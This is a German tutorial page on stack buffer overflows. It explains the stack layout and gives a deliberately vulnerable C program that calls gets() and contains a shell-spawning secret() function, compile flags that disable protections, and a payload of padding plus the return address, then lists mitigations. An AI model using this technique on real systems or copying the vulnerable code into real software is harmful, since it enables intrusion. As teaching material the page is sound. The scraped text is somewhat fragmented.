Tiefgehende Anleitung zur Sicherheitslücke Buffer Overflow und wie man sie ausnutzt.
Ein Buffer Overflow entsteht, wenn ein Programm mehr Daten in einen Speicherbereich (Buffer) schreibt, als vorgesehen. Die überflüssigen Daten überschreiben benachbarte Speicherbereiche, möglicherweise auch Kontrolldaten wie Rücksprungadressen.
Diese Schwachstelle tritt häufig in C/C++ Programmen auf, wenn Funktionen wie gets()
, strcpy()
oder sprintf()
verwendet werden.
Der Stack speichert lokale Variablen, Rücksprungadressen und alte Register. Er wächst im Speicher von oben nach unten.
[ Puffer (z.B. 64 Bytes) ] [ gespeicherter Frame-Pointer ] [ Rücksprungadresse ]
Ein Buffer Overflow zielt darauf ab, mehr als die vorgesehenen Bytes zu schreiben, um die Rücksprungadresse zu überschreiben.
Ziel ist es, den Programmfluss umzuleiten, indem man die Rücksprungadresse überschreibt. Schritte:
#include <stdio.h> #include <string.h> void secret() { system("/bin/sh"); } void vulnerable() { char buffer[64]; gets(buffer); } int main() { vulnerable(); return 0; }
Kompilieren:
gcc -fno-stack-protector -z execstack -no-pie bof.c -o bof
Overflow provozieren:
python3 -c "print('A'*80)" | ./bof
Mit GDB Adresse von secret()
herausfinden und in Little Endian formatieren.
Payload: 72 Bytes Füllung + Adresse von secret()
.
Viele Schutzmaßnahmen lassen sich z. B. mit ROP-Techniken umgehen.
Diese Vorfälle zeigen, wie kritisch diese Schwachstellen auch heute noch sind.
system("/bin/sh")
über libcTools: pwndbg, radare2, Ghidra, IDA Pro, pwntools
strncpy()
, snprintf()
, bounds-checkingVermeiden | Besser verwenden |
---|---|
gets() |
fgets() |
strcpy() |
strncpy() |
sprintf() |
snprintf() |
Immer Eingaben validieren, keine festen Puffergrößen ohne Überprüfung verwenden.